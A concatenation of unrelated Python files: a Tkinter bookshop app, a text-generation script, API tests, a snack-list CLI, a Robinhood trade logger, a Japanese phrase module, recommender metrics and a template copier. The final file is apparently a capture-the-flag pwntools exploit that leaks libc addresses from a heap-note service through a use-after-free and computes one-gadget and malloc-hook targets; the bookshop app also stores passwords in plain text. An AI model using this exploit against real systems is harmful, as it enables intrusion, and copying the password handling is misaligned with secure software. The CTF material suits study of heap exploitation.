        i = j[0]
        if not new_cart.has_key(i[0]):
            new_cart[i[0]] = {}
            new_cart[i[0]]['isbn'] = i[0]
            new_cart[i[0]]['name'] = i[1]
            new_cart[i[0]]['price'] = i[2]
            new_cart[i[0]]['quantity'] = 1
        else:
            new_cart[i[0]]['quantity'] += 1

    for item in new_cart:
        cursor.execute('INSERT INTO book_sales (customer_id, isbn, sales_id, quantity, time_of_sale) VALUES(?,?,?,?,?)'
                       , (cusid, isbn, salid, new_cart[isbn]['quantity'
                       ], date))
        connection.commit()

    check.destroy()
    confirmch.destroy()
    show = Label(pord, text='Order placed successfully', font=8)
    show.place(x=100, y=320)
    show.after(3000, lambda : show.place_forget())

    show_sale_receipt(salid, new_cart)

    return

def show_sale_receipt(sale_id, new_cart):
    sale_receipt_window = Tk()
    sale_receipt_window.geometry('1024x700+500+200')
    sale_receipt_window.title('Receipt')

    lst2 = []
    lst2.append(('Sr No.', 'Book', 'Price', 'Quantity', 'Total Amount'))

    ctr = 1
    for book in new_cart:
        lst2.append((ctr, new_cart[book]['name'], new_cart[book]['price'
                    ], str(new_cart[book]['quantity']),
                    str(new_cart[book]['quantity']
                    * new_cart[book]['price'])))
        ctr += 1

    tbl = Table(sale_receipt_window, lst2)
    return

def delbook(pri, book, p):
    cart.remove(book)
    pri = pri - p
    check.destroy()
    viewcart()
    return

def cartdest():
    check.destroy()
    return

def space(x):
    if x == 0:
        return 100
    elif x == 1:
        return 400
    else:
        return 50

def confchdest():
    confirmch.destroy()
    return

def confcheck():
    global confirmch
    confirmch = Tk()
    confirmch.geometry('500x150+500+120')
    confirmch.title('Confirm Checkout')

    l1 = Label(confirmch, text='Are you sure you want to checkout?',
               font=10)
    b1 = Button(confirmch, text='Yes', width=10, height=3,
                command=salord)
    b2 = Button(confirmch, text='No', width=10, height=3,
                command=confchdest)

    l1.place(x=60, y=20)
    b1.place(x=80, y=80)
    b2.place(x=320, y=80)

def viewcart():
    global pri
    pri = 0
    global check
    check = Tk()
    check.geometry('840x700+500+200')
    check.title('View Bill')
    disp = Label(check, text='This Bill:', fg='black', bg='Moccasin',
                 font=('Times New Roman', 20))
    disp.place(x=130, y=70)

    backButton = Button(check, text='<-- Back', width=6, height=2,
                        command=cartdest)
    backButton.place(x=20, y=40)

    l1 = Label(check, text='ISBN', font=('ISBN', 15))
    l2 = Label(check, text='Title', font=('Title', 15))
    l3 = Label(check, text='Price', font=('Price', 15))

    l1.place(x=100, y=120)
    l2.place(x=200, y=120)
    l3.place(x=600, y=120)
    col = 170
    global cart_books
    cart_books = []
    for book in cart:
        cursor.execute('SELECT Book_ISBN,Book_Name,Price from Book where Book_ISBN=?'
                       , (book, ))
        rows = cursor.fetchall()
        for r in rows:
            row = 100
            cart_books.append(rows)
            for x in range(len(r)):
                templabel = Label(check, text=r[x], font=(str(r[x]),
                                  13))
                templabel.place(x=row, y=col)
                row = row + space(x)
            pri = pri + float(r[2])
        col = col + 40

    tempButton = Button(check, text='Remove', width=6, height=1,
                        command=lambda : delbook(pri, book, r[2]))
    tempButton.place(x=row + 40, y=col - 40)

    l4 = Label(check, text='Bill Amount : ', font=('Bill Amount : ',
               12))
    l5 = Label(check, text=str(pri), font=(str(pri), 12))
    l4.place(x=450, y=500)
    l5.place(x=600, y=500)
    checkButton = Button(check, text='Checkout', width=6, height=1,
                         command=confcheck)
    checkButton.place(x=400, y=600)
    return

def addtocart():
    global cart

    isbn = str(epo1.get())
    username2 = str(epo2.get())
    if isbn == '' or username2 == '':
        l2 = Label(pord, text='Please enter the ISBN', font=8)
        l2.place(x=100, y=320)
        l2.after(3000, lambda : l2.place_forget())
        return

    cursor.execute('SELECT * FROM Book where Book_ISBN=?', (isbn, ))
    rows = cursor.fetchall()
    if len(rows) == 0 or rows[0][6] <= 0:
        l1 = Label(pord, text='Book not in stock!', font=8)
        l1.place(x=130, y=320)
        l1.after(3000, lambda : l1.place_forget())
    else:
        cart.append(isbn)
        l3 = Label(pord, text='Added to Bill!', font=8)
        l3.place(x=140, y=320)
        l3.after(3000, lambda : l3.place_forget())

    return

def porder():
    global pord
    pord = Tk()
    pord.geometry('640x360+500+200')
    pord.title('Order')
    disp = Label(pord, text='Book Order', fg='black', bg='Moccasin',
                 font=12)
    disp.place(x=130, y=70)

    l1 = Label(pord, text='ISBN:', font=10)
    l3 = Label(pord, text='Customer username:', font=10)
    l2 = Label(pord, text='Want to know ISBN of book?',
               font=('Want to know ISBN of Book?', 10))

    global epo1, epo2
    epo1 = Entry(pord, font=10, bd=5, width=10)
    epo2 = Entry(pord, font=10, bd=5, width=10)

    b1 = Button(
        pord,
        text='Click here',
        fg='blue',
        width=6,
        height=1,
        command=sbook,
        )
    b2 = Button(pord, text='Add To Bill', width=14, height=2,
                command=addtocart)
    b3 = Button(pord, text='View Items in Bill', width=14, height=2,
                command=viewcart)

    l1.place(x=40, y=120)
    epo1.place(x=250, y=120)
    l3.place(x=40, y=180)
    epo2.place(x=250, y=180)
    l2.place(x=40, y=240)
    b1.place(x=230, y=240)
    b2.place(x=40, y=290)
    b3.place(x=250, y=290)
    return

def viewcomporder():

    cursor.execute('SELECT Sales_ID,Invoice_no,S_Date,Bill_Amount FROM Sales WHERE Customer_ID=?'
                   , (userc, ))
    rows = cursor.fetchall()

    searchres = Tk()
    searchres.geometry('840x640+100+120')
    searchres.title('Completed Orders')

    srl = Label(searchres, text='Completed Orders:',
                font=('Completed Orders:', 13), bg='Moccasin',
                fg='black')
    srl.place(x=80, y=40)

    l1 = Label(searchres, text='Sales ID', font=('Sales ID', 10))
    l2 = Label(searchres, text='Invoice Number', font=('Invoice Number'
               , 10))
    l3 = Label(searchres, text='Sales Date', font=('Sales Date', 10))
    l4 = Label(searchres, text='Bill Amount', font=('Bill Amount', 10))

    l1.place(x=40, y=80)
    l2.place(x=240, y=80)
    l3.place(x=440, y=80)
    l4.place(x=640, y=80)

    col = 100
    for r in rows:
        row = 40
        for x in r:
            templabel = Label(searchres, text=x, font=(str(x), 8))
            templabel.place(x=row, y=col)
            row = row + 200
        col = col + 15

    return

def request():
    requests = Tk()
    requests.geometry('640x480+700+120')
    requests.title('Book Requests')
    cursor.execute('SELECT * FROM Request')
    rows = cursor.fetchall()

    srl = Label(requests, text='Customer Book Requests:',
                font=('Customer Book Requests:', 13), bg='Moccasin',
                fg='black')
    srl.place(x=80, y=40)

    l1 = Label(requests, text='Book Name', font=('Sales ID', 10))
    l2 = Label(requests, text='Author', font=('Customer', 10))

    l1.place(x=60, y=80)
    l2.place(x=235, y=80)

    col = 100
    for r in rows:
        row = 60
        for x in r:
            templabel = Label(requests, text=x, font=(str(x), 8))
            templabel.place(x=row, y=col)
            row = row + 175
        col = col + 15

    return

def logoutcust():
    cuspg.destroy()
    return

def custpage():
    global userc
    global cuspg

    userc = str(ec1.get())
    paswc = str(ec2.get())

    cursor.execute('SELECT Customer_ID,Password,Customer_Name FROM Customer'
                   )
    rows = cursor.fetchall()
    flag = 0
    for r in rows:
        if userc == r[0] and paswc == r[1]:
            var = Label(cust, text='Login Successful',
                        font=('Login Successful', 18), fg='green')
            var.place(x=150, y=400)
            cust.destroy()
            cuspg = Tk()
            cuspg.geometry('640x480+500+120')
            cuspg.title('CustPage')
            var = 'WELCOME ' + r[2] + '!'

            l1 = Label(cuspg, text=var, fg='black', bg='Moccasin',
                       font=(var, 16))
            l1.place(x=160, y=50)

            b = Button(
                cuspg,
                text='Log Out',
                fg='blue',
                width=5,
                height=1,
                command=logoutcust,
                )
            b.place(x=540, y=50)

            b1 = Button(cuspg, text='Search Books', width=20, height=3,
                        command=sbook)
            b1.place(x=100, y=150)

            b3 = Button(cuspg, text='View Completed Orders', width=20,
                        height=3, command=viewcomporder)
            b3.place(x=100, y=300)

            b4 = Button(cuspg, text='Request', width=20, height=3,
                        command=cusreq)
            b4.place(x=400, y=150)
            flag = 1
    if flag == 0:
        var = Label(cust, text='Incorrect Username/Password',
                    font=('Incorrect Username/Password', 10), fg='black'
                    )
        var.place(x=150, y=400)

def admin():
    global adm
    adm = Tk()
    adm.geometry('480x480+500+120')
    adm.title('Admin')

    disa1 = Label(adm, text='Admin ID', font=('Admin ID', 10))
    disa2 = Label(adm, text='Password', font=('Password', 10))
    ba1 = Button(adm, text='Login', width=5, height=2,
                 command=adminpage)
    disa3 = Label(adm, text='Welcome Admin', fg='black', bg='Moccasin',
                  font=('Welcome Admin', 16))
    global ea1
    ea1 = Entry(adm, font=10, bd=5)
    global ea2
    ea2 = Entry(adm, font=10, bd=5, show='*')
    disa3.place(x=150, y=100)
    disa1.place(x=70, y=230)
    disa2.place(x=70, y=290)
    ba1.place(x=200, y=370)
    ea1.place(x=150, y=230)
    ea2.place(x=150, y=290)
    return

def customer():
    global cust
    cust = Tk()
    cust.geometry('480x480+500+120')
    cust.title('Customer')
    global ec1
    global ec2
    disc1 = Label(cust, text='Customer ID', font=('Customer ID', 10))
    disc2 = Label(cust, text='Password', font=('Password', 10))
    bc1 = Button(cust, text='Login', width=5, height=2,
                 command=custpage)
    disc3 = Label(cust, text='Welcome Customer', fg='black',
                  bg='Moccasin', font=('Welcome Admin', 16))
    ec1 = Entry(cust, font=10, bd=5)
    ec2 = Entry(cust, font=10, bd=5, show='*')
    disc3.place(x=150, y=100)
    disc1.place(x=70, y=230)
    disc2.place(x=70, y=290)
    bc1.place(x=200, y=370)
    ec1.place(x=180, y=230)
    ec2.place(x=180, y=290)
    return

def sinpg():
    cusid = str(es1.get())
    pasw1 = str(es2.get())
    pasw2 = str(es21.get())
    cname = str(es3.get())
    city = str(es4.get())
    stre = str(es5.get())
    stat = str(es6.get())
    phno = str(es7.get())

    if pasw1 != pasw2:
        vis = Label(sig, text='  Passwords  dont  match', font=8)
        vis.place(x=150, y=460)
        vis.after(3000, lambda : vis.place_forget())
    elif cusid == '' or pasw1 == '' or pasw2 == '' or cname == '' \
        or city == '' or stre == '' or stat == '' or phno == '':

        l1 = Label(sig, text='Please fill all details', font=8, fg='red'
                   )
        l1.place(x=150, y=460)
        l1.after(3000, lambda : l1.place_forget())
    else:
        vis = Label(sig, text='Account Created successfully', font=8)
        vis.place(x=150, y=460)
        vis.after(3000, lambda : vis.place_forget())
        cursor.execute('INSERT INTO Customer VALUES (?,?,?,?,?,?,?)', (
            cusid,
            pasw1,
            cname,
            city,
            stre,
            stat,
            phno,
            ))
        connection.commit()
    return

def signup():
    global sig
    sig = Tk()
    sig.geometry('480x480+500+120')
    sig.title('Customer')
    wel = Label(sig, text='Customer SignUp', fg='black', bg='Moccasin',
                font=16)
    global es1, es2, es21, es3, es4, es5, es6, es7
    l1 = Label(sig, text='Customer ID', font=10)
    l2 = Label(sig, text='Password', font=10)
    l21 = Label(sig, text='Re-enter Password', font=10)
    l3 = Label(sig, text='Name', font=10)
    l4 = Label(sig, text='City', font=10)
    l5 = Label(sig, text='Street', font=10)
    l6 = Label(sig, text='State', font=10)
    l7 = Label(sig, text='Phone No', font=10)

    es1 = Entry(sig, font=10, bd=5)
    es2 = Entry(sig, font=10, bd=5, show='*')
    es21 = Entry(sig, font=10, bd=5, show='*')
    es3 = Entry(sig, font=10, bd=5)
    es4 = Entry(sig, font=10, bd=5)
    es5 = Entry(sig, font=10, bd=5)
    es6 = Entry(sig, font=10, bd=5)
    es7 = Entry(sig, font=10, bd=5)

    b1 = Button(sig, text='Sign Up', width=20, height=3, command=sinpg)
    wel.place(x=150, y=40)
    l1.place(x=70, y=80)
    es1.place(x=230, y=80)
    l2.place(x=70, y=120)
    es2.place(x=230, y=120)
    l21.place(x=70, y=160)
    es21.place(x=230, y=160)
    l3.place(x=70, y=200)
    es3.place(x=230, y=200)
    l4.place(x=70, y=240)
    es4.place(x=230, y=240)
    l5.place(x=70, y=280)
    es5.place(x=230, y=280)
    l6.place(x=70, y=320)
    es6.place(x=230, y=320)
    l7.place(x=70, y=360)
    es7.place(x=230, y=360)
    b1.place(x=150, y=400)
    return

global gui
gui = Tk()

gui.geometry('1080x700+200+0')
gui.title('BOOKSHOP AUTOMATION SYSTEM')
image = Image.open(os.path.join(resources_directory_path, 'academic-complex.jpg'))
photo_image = ImageTk.PhotoImage(image)
label = Label(gui, image=photo_image)
label.pack()

deli = 120
svar = StringVar()
labl = Label(
    gui,
    textvariable=svar,
    height=3,
    width=200,
    bg='Moccasin',
    fg='Black',
    font=('Times New Roman', 15),
    )

dis = Label(
    gui,
    text='BOOKSHOP AUTOMATION SYSTEM',
    height=3,
    width=92,
    bg='Moccasin',
    fg='Black',
    font=('Times New Roman', 18),
    )
disp = Label(gui, text='New User?', bg='Moccasin',
             font=('Times New Roman', 15))
b1 = Button(
    gui,
    text='Admin Login',
    width=25,
    height=3,
    command=admin,
    font=('Times New Roman', 18),
    bg='lightgreen',
    borderwidth=0,
    )
b2 = Button(
    gui,
    text='Customer Login',
    width=25,
    height=3,
    command=customer,
    font=('Times New Roman', 18),
    bg='lightgreen',
    borderwidth=0,
    )
b3 = Button(
    gui,
    text='Customer Signup',
    width=25,
    height=3,
    command=signup,
    font=('Times New Roman', 18),
    bg='lightgreen',
    borderwidth=0,
    )
dis.place(x=0, y=140)
b1.place(x=100, y=530)
b2.place(x=630, y=530)
b3.place(x=360, y=360)
disp.place(x=483, y=325)

gui.mainloop()


import torch
from gtts import gTTS

import os
import keyboard

from tqdm import tqdm
import random
import speech_recognition as sr

def recognize_speech_from_mic(recognizer, microphone):
    """Transcribe speech from recorded from `microphone`.

    Returns a dictionary with three keys:
    "success": a boolean indicating whether or not the API request was
               successful
    "error":   `None` if no error occured, otherwise a string containing
               an error message if the API could not be reached or
               speech was unrecognizable
    "transcription": `None` if speech could not be transcribed,
               otherwise a string containing the transcribed text
    """
    # check that recognizer and microphone arguments are appropriate type
    if not isinstance(recognizer, sr.Recognizer):
        raise TypeError("`recognizer` must be `Recognizer` instance")

    if not isinstance(microphone, sr.Microphone):
        raise TypeError("`microphone` must be `Microphone` instance")

    # adjust the recognizer sensitivity to ambient noise and record audio
    # from the microphone
    with microphone as source:
        print("Listening...")
        recognizer.adjust_for_ambient_noise(source)
        audio = recognizer.listen(source)
    print("cold mic...")

    # set up the response object
    response = {"success": True, "error": None, "transcription": None}

    # try recognizing the speech in the recording
    # if a RequestError or UnknownValueError exception is caught,
    #     update the response object accordingly
    try:
        response["transcription"] = recognizer.recognize_google(audio)
    except sr.RequestError:
        # API was unreachable or unresponsive
        response["success"] = False
        response["error"] = "API unavailable"
    except sr.UnknownValueError:
        # speech was unintelligible
        response["error"] = "Unable to recognize speech"

    return (
        response
        if response["success"]
        else recognize_speech_from_mic(recognizer, microphone)
    )

def generate(model, tokenizer, context):
    # tokenize question and text as a pair
    encodings = tokenizer.encode_plus(context)
    input_ids = encodings["input_ids"]
    attention_mask = encodings["attention_mask"]
    output = model.generate(
        inputs=torch.tensor([input_ids]),
        attention_mask=torch.tensor([attention_mask]),
        do_sample=True,
        num_beams=3,
        max_new_tokens=50,
        temperature=1.8,
        repetition_penalty=1.32,
    )
    return tokenizer.decode(output[0])

def speak(text):
    myobj = gTTS(text=text, lang="en", slow=False)
    myobj.save("output/speech.mp3")
    # Playing the converted file
    return os.system("mpg321 output/speech.mp3")

def sample_context(path):
    with open(path, "r") as contexts:
        lines = contexts.readlines()
        return random.sample(lines, 1)[0]

def main():
    # Model
    with open("models/generator.pth", "rb") as f:
        model = torch.load(f, map_location=torch.device('cpu'))

    # Tokenizer
    with open("models/tokenizer.pth", "rb") as f:
        tokenizer = torch.load(f, map_location=torch.device('cpu'))

    # create recognizer and mic instances
    recognizer = sr.Recognizer()
    microphone = sr.Microphone()

    while True:
        print("\n\n\n\n\n\n\n\n\n\n\n\nReady.")
        if keyboard.read_key() == "space":
            # context = recognize_speech_from_mic(recognizer, microphone)["transcription"]
            context = sample_context("data/context.txt")
            idx_start = len(context)

            # Create output file
            with open("output/crazy.txt", "w") as crazy:
                # Generate while reseeding 5 times
                for _ in tqdm(range(5)):
                    context = generate(model, tokenizer, str(context).strip())
                    context = context.replace("\n", "").replace("<|endoftext|>", "").replace("<pad>", "")
                # Write completed generation to file
                crazy.write(context)
                # Display response
                print(context[idx_start:])
                # Create and play an audio file of the output
                #  speak(context[idx_start:])

main()


import pytest

from dawa import API

def test_postnummer_initial():

    api = API()

    postnummer = api.replicate('postnummer')

    for obj in postnummer:
        assert len(obj) != 0
        break

def test_postnummer_changes():

    api = API()

    postnummer = api.replicate('postnummer', txidfra=3432423, txidtil=3432423)

    for obj in postnummer:
        assert len(obj) != 0
        break


from nis import cat
import random
import csv
import os

class JunkFood:
    def __init__(self, name, price, provider, pronoun, category):
        self.name = name
        self.price = price
        self.inDollars = "${:,.2f}".format(price)
        self.provider = provider
        self.pronoun = pronoun
        self.category = category

    def __lt__(self, other):
         return self.price < other.price

    def printItem(self):
        print('\033[1m' + f"Have {self.pronoun} {self.name}. That costs {self.inDollars}. Get it from {self.provider}." + '\033[0m')

def writeFaveToFile(fave):
    with open('faves.csv', 'a') as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow([fave.name, fave.price, fave.provider, fave.pronoun, fave.category])

def makeListofFavesFromFile():
    faves = []
    with open('faves.csv', 'r') as csvfile:
        reader = csv.reader(csvfile)
        for row in reader:
            faves.append(JunkFood(row[0], float(row[1]), row[2], row[3], row[4]))
    return faves

def addFave(faves):
    name = input("What's the name of the food? ")
    price = float(input("How much does it cost? "))
    provider = input("Who makes it? ")
    pronoun = input("What's the pronoun? ")
    category = input("What category would you group this in? ")
    newFave = JunkFood(name, price, provider, pronoun, category)
    writeFaveToFile(newFave)
    faves.append(newFave)
    print("\n", newFave.name, "was added to your list.")

def removeFave(faves):
    listFaves(faves)
    name = input("\nWhat's the name of the fave you want to remove? ")
    with open('faves.csv', 'r') as inp, open('faves_edit.csv', 'w') as out:
        writer = csv.writer(out)
        for row in csv.reader(inp):
            if row[0] != name:
                writer.writerow(row)
            else:
                print(f"Removing {name}.")
        os.remove('faves.csv')
        os.rename('faves_edit.csv', 'faves.csv')

def chooseRandom(arr):
    choice = faves[random.randrange(len(arr))]
    choice.printItem()

def listFaves(faves):
    print("\nHere's a list of your favorites:")
    for fave in faves:
        print("-", fave.name, 'from', fave.provider)

def listFavesByPriceAscending(faves):
     sortedFaves = sorted(faves, key=lambda x: x.price)
     for fave in sortedFaves:
         print(f"- {fave.name:<25} {fave.inDollars: >{6}}")

def pickAFaveByCategory(faves):
    categories = sorted(list({fave.category for fave in faves}))
    print("\nHere's a list of categories to choose from:")
    for index, category in enumerate(categories):
        print(f"{index + 1}) {category}")
    choice = int(input("Choose a category by number."))
    if isinstance(choice, int)  and choice in range(1, len(categories)+1):
        print("\nTry one of these...")
        for fave in faves:
            if fave.category == categories[choice - 1]:
                fave.printItem()
    else:
        print("That's not an option.")

def userInterface(faves):
    print("\nTime for some junk food!")
    running = True
    optionsList = """
Enter a number to select an option from the list.
1) Pick a random treat.
2) Print a list of your faves.
3) Print a list of your faves starting with cheapest.
4) Pick a treat from a chosen category.
5) Add a favorite to your list.
6) Remove a favorite from your list.
Q) Quit Program.

"""

    while(running):
        userChoice = input(optionsList)
        if userChoice == "1":
            chooseRandom(faves)
        elif userChoice == "2":
            listFaves(faves)
        elif userChoice == "3":
            listFavesByPriceAscending(faves)
        elif userChoice == "4":
            pickAFaveByCategory(faves)
        elif userChoice == "5":
            addFave(faves)
        elif userChoice == "6":
            removeFave(faves)
            faves = makeListofFavesFromFile()
        elif userChoice == 'Q' or userChoice == "q":
            print("\nHappy Eating!\n")
            running = False
        else:
            print("\nSorry. That choice isn't on the menu.")

print("\nLoading faves...")
faves = makeListofFavesFromFile()
userInterface(faves)

#things to add
# handle bad input
# format output to look nicer


import robin_stocks.robinhood as r
import json
import pandas as pd

# Reads data about the previous trades from a JSON file and prints it
def read_trade_history(file_name):
    print("read_trade_history()")
    with open(file_name) as json_file:
        data = json.load(json_file)
    for sell_date, event in data.items():
        print(sell_date + ": ")
        for symbol, dict in event.items():
            quantity, price, change, percent, purchase_date = str(int(float(dict.get("quantity")))), dict.get("price"), dict.get("equity_change"), dict.get("percent_change"), dict.get("purchase_date")
            print("\tSold " + quantity + " shares of "+ symbol + " at " + price + ", " + change + " (" +
                percent + "%) profit/loss, bought on " + purchase_date)

#  Writes data about a trade to a JSON file, containing the sell date, buy date, buy price sell price, etc.
def update_trade_history(symbols, holdings_data, file_name):
    print("update_trade_history()")

    with open(file_name) as json_file:
        data = json.load(json_file)
    current_time = str(pd.Timestamp("now"))
    data[current_time] = ({})
    for symbol in symbols:
        data[current_time].update({symbol: holdings_data[symbol]})
    with open(file_name, 'w') as outfile:
        json.dump(data, outfile)

# Returns the amount of money you've gained/lost through trading since the creation of your account, minus dividends
def get_total_gains_minus_dividends():
    print("get_total_gains_minus_dividends()")

    holding = []
    holding.append('temp')

    profileData = r.load_portfolio_profile()
    print(profileData)
    allTransactions = r.get_bank_transfers()
    deposits = sum(float(x['amount']) for x in allTransactions if (x['direction'] == 'deposit')) # and (x['state'] == 'completed'))
    withdrawals = sum(float(x['amount']) for x in allTransactions if (x['direction'] == 'withdraw') and (x['state'] == 'completed'))

    money_invested = deposits - withdrawals
    print(deposits)
    dividends = r.get_total_dividends()
    percentDividend = dividends/money_invested*100
    totalGainMinusDividends =float(profileData['extended_hours_equity'])-dividends-money_invested
    return totalGainMinusDividends


import os
import csv
from utilities.utilities import *
from utilities.katuyou import Katuyou
from collections import defaultdict

class EmotionClass:
    def __init__(self, feeling_folder_path, line_file_path):
        self.feeling_foloder_path = feeling_folder_path
        self.line_file_path = line_file_path
        files = os.listdir(feeling_folder_path)
        self.feeling_dict = defaultdict(list) #key is file name, value is feelings
        self.line_dict = defaultdict(list) #key is file name, value is line
        self.katuyou = Katuyou('./utilities/KatuyouCSVs')
        for file in files:
            name = file.split('.')[0]
            with open(os.path.join(self.feeling_foloder_path, file), 'r', encoding="utf-8") as f:
                feelings = f.readlines()
            for feeling in feelings:
                feeling = feeling.rstrip('\n')
                if feeling.startswith('#') or feeling.startswith('-'):
                    pass
                else:
                    self.feeling_dict[name].append(feeling)

        with open(self.line_file_path, 'r', encoding='utf-8') as f:
            lines = f.readlines()
            reader = csv.reader(lines)
            for row in reader:
                assert row[0] in self.feeling_dict.keys(), 'Not found file name at {}'.format(row[0])
                self.line_dict[row[0]] = row[1:]

    def current2past(self, current):
        escape_words = ['さすが', '流石', '立派', '知的', '頭', 'どうして', '素敵', '大丈夫', 'お疲れ様']
        for word in escape_words:
            if word in current:
                return current
        if 'がない' in current:
            current = current.replace('がない', 'がなかった')
        elif 'が無い' in current:
            current = current.replace('が無い', 'が無かった')
        elif 'なんだ' in current:
            current = current.replace('なんだ', 'だったんだ')
        elif 'いいん' in current:
            current = current.replace('いいん', 'よかったん')
        elif 'いん' in current:
            current = current.replace('いん', 'かったん')
        elif 'いね' in current:
            current = current.replace('いね', 'かったね')
        else:
            current = self._verb_cur2past(current)
        return current

    def _verb_cur2past(self, line): #動詞のやつを過去形に変換。
        tokens, positions = mecab_parse(line)
        res_line = ''
        for i, token, position in zip(range(len(tokens)-1, -1, -1), tokens[::-1], positions[::-1]):
            if position[0] == '助動詞' and i -1 >= 0 and (positions[i-1][0] not in ['動詞', '形容詞'] and tokens[i-1] not in ['ん']):
                token = self.katuyou.convert_base2ta(token)
                res_line = ''.join(tokens[:i]) + token  + 'たんだ' + res_line
                break
            elif position[0] in ['形容詞', '動詞']:
                token = self.katuyou.convert_base2ta(token)
                res_line = ''.join(tokens[:i]) + token + 'た' + res_line
                break
            else:
                res_line = token + res_line
        return res_line

    def Emotion(self, phrases):
        statement = ''
        apply = False
        if len(phrases) > 2:
            tokens = phrases[-3][0] + phrases[-2][0] + phrases[-1][0]
            positions = phrases[-3][1] + phrases[-2][1] + phrases[-1][1]
        elif len(phrases) == 2:
            tokens = phrases[-2][0] + phrases[-1][0]
            positions = phrases[-2][1] + phrases[-1][1]
        else:
            tokens, positions = phrases[-1]

        for i, token, position in zip(range(len(tokens)-1, -1, -1), tokens[::-1], positions[::-1]):
            if position[-1] in self.line_dict.keys():
                flag = get_flags(tokens[i:], positions[i:])
                if not flag['nai'] and not flag['reru']:
                    apply = True
                    statement = random.choice(self.line_dict[position[-1]])
                    if flag['ta']:
                        statement = self.current2past(statement)
                else:
                    pass
                break
        return statement, apply

    def passive_checker(self, tokens, positions):
        for i, token, position in zip(range(len(tokens)), tokens, positions):
            if position[0] == '動詞' and i + 2 < len(positions) and tokens[i + 1] in ['て', 'で'] \
                    and positions[i + 2][-3] in ['くださる', 'もらえる', 'くれる', 'もらう', '下さる']:
                return True
            elif position[0] == '動詞' and i + 1 < len(positions) and positions[i + 1][-3] in ['れる', 'られる', 'せる']:
                return True
            elif token in ['を'] and i + 1 < len(positions) and positions[i + 1][-3] in ['受ける', '迎える']:
                return True
            elif position[0] == '名詞' and position[1] not in ['非自立', '接尾']:
                return False
            return False

if __name__=='__main__':
    emotion = EmotionClass('utilities/FEELINGS', 'utilities/feelings2line.csv')
    from Preprocess import Preprocess
    sentences = read_lines()
    sentences = ['好きな男だった。']
    for sentence in sentences:
        sentence, apply, subject, conjunction, phrases, tokens, positions = Preprocess(sentence)
        print(phrases)
        print(emotion.Emotion(phrases))


# coding: utf-8
import recommended_system as rs
import math

def recall(train, test, W, N):
    """
     P43
    :1、召回率
    :train、test、N分别是训练集、测试集和推荐列表长度
    :描述：一个用户u可能对多个物品有过行为，从而数据集中用户u有多条行为记录，在将数据集进行分组时，
    训练集和测试集里都可能存在用户u的多条行为记录。利用训练集训练推荐系统，给出用户u的推荐结果，再和测试集中用户u的行为数据进行对比，
    检验算法推荐精度。
    """
    hit = 0
    all = 0
    for user in train.keys():
        # tu = test[user]
        tu = test.get(user, {})
        rank = rs.recommendation1(user, train, W, N)  #是推荐系统函数，返回用户u的N个推荐结果
        for item in rank:
            if item in tu:
                hit += 1
        all += len(tu)
    return hit/(all*1.0)

def precision(train, test, W, N):
    """
    P43
    # 2、准确率
    # train、test、N分别是训练集、测试集和推荐列表长度
    """
    hit = 0
    all = 0
    for user in train.keys():
        # tu=test[user]
        tu = test.get(user, {})
        rank = rs.recommendation1(user, train, W, N)
        for item in rank:
            if item in tu:
                hit += 1
        all += len(rank)
    return hit/(all*1.0)

def coverage(train, test, W, N):
    """
    P43
    # 3、覆盖率
    """
    recommend_items=set()
    all_items=set()
    for user in train.keys():
        for item in train[user].keys():
            all_items.add(item)
        rank=rs.recommendation1(user, train, W, N)
        for item in rank:
            recommend_items.add(item)
    return len(recommend_items)/(len(all_items)*1.0)

def popularity(train, test, W, N):
    """
    P44
    4、流行度
    """
    item_popularity = dict()
    for user, items in train.items():
        for item in items:
            if item not in item_popularity:
                item_popularity[item]=0
            item_popularity[item]+=1
    ret=0
    n=0
    for user in train.keys():
        rank = rs.recommendation1(user, train, W, N)
        for item in rank:
            ret += math.log(1+item_popularity[item])
            n += 1
    return ret/(n*1.0)


import os
from typing import Dict, List, Optional

class CopySpec:
    """Copy specification of a single file or directory."""

    def __init__(self, source_path: str, target_path: Optional[str] = None):
        self.source_path = source_path
        self.target_path = target_path

    def get_target(self) -> str:
        """Get the target path of the copy spec.

        Returns:
            str: If a target_path is given explicitly, it will be returned.
                 Otherwise the source_path will be returned.
        """
        if self.target_path is not None:
            return self.target_path
        return self.source_path

def copy_templates(
    template_dir: str,
    target_dir: str,
    template_file_mapping: List[CopySpec],
    variables: Dict[str, str],
) -> None:
    """Copy templates from the template dir to the target dir.

    Args:
        template_dir (str): Path to the directory containing the template files.
        target_dir (str): Path to the target directory.
        template_file_mapping (Dict[str, str]): A mapping of source path to target path.
        variables (Dict[str, str]): Name to value mapping which will be replaced when parsing the template files.
    """
    for file_to_copy in template_file_mapping:
        with open(
            os.path.join(
                template_dir,
                file_to_copy.source_path,
            ),
            encoding="utf-8",
        ) as file_in:
            target_file_path = os.path.join(target_dir, file_to_copy.get_target())

            os.makedirs(os.path.split(target_file_path)[0], exist_ok=True)
            with open(target_file_path, encoding="utf-8", mode="w") as file_out:
                lines = file_in.readlines()
                for line in lines:
                    for key, value in variables.items():
                        line = line.replace("${{ " + key + " }}", value)
                    file_out.write(line)


from pwn import *

#context.log_level="debug"
context.arch="amd64"

#r=process('./homuranote')
r=remote('111.231.88.121',6666)
elf=ELF('homuranote')
libc=ELF('libc-2.24.so')

#libc_syst=libc.symbols['system']
#libc_exit=libc.symbols['exit']
libc_arenaOffset=0x397b00
libc_mallochook=0x397af0
libc_oneGadget1=0x3f306 #rax==NULL
libc_oneGadget2=0x3f35a #rsp+0x30==NULL
libc_oneGadget3=0xd694f #rsp+0x60==NULL

def addnote(content):
	r.sendlineafter("choice>>","1")
	r.sendlineafter("Size:",str(len(content)))
	r.sendlineafter("Content:",content)
def shownote(index):
	r.sendlineafter("choice>>","2")
	r.sendlineafter("Index:",str(index))
def editnote(index,content):
	r.sendlineafter("choice>>","3")
	r.sendlineafter("Index:",str(index))
	r.sendline(content)
def deletenote(index):
	r.sendlineafter("choice>>","4")
	r.sendlineafter("Index:",str(index))

success('Leak Address')
#unsorted bins -> main_arena -> libcBase
addnote('a'*0x7f+'\x00')#0
addnote('b'*0x7f+'\x00')#1
deletenote(0)
shownote(0)
MainArena_addr=u64(r.recvline().strip().ljust(8,'\x00'))-88#gdb-gef > heap arenas
LibcBase_addr=MainArena_addr-libc_arenaOffset
OneGadget=libc_oneGadget3+LibcBase_addr
mlchk_addr=LibcBase_addr+libc_mallochook
#syst_addr=LibcBase_addr+libc_syst
#exit_addr=LibcBase_addr+libc_exit
log.success("MainArenaAddr: "+hex(MainArena_addr))
log.success("LibcBaseAddr:  "+hex(LibcBase_addr))
log.success("ONE_GADGET:    "+hex(OneGadget))
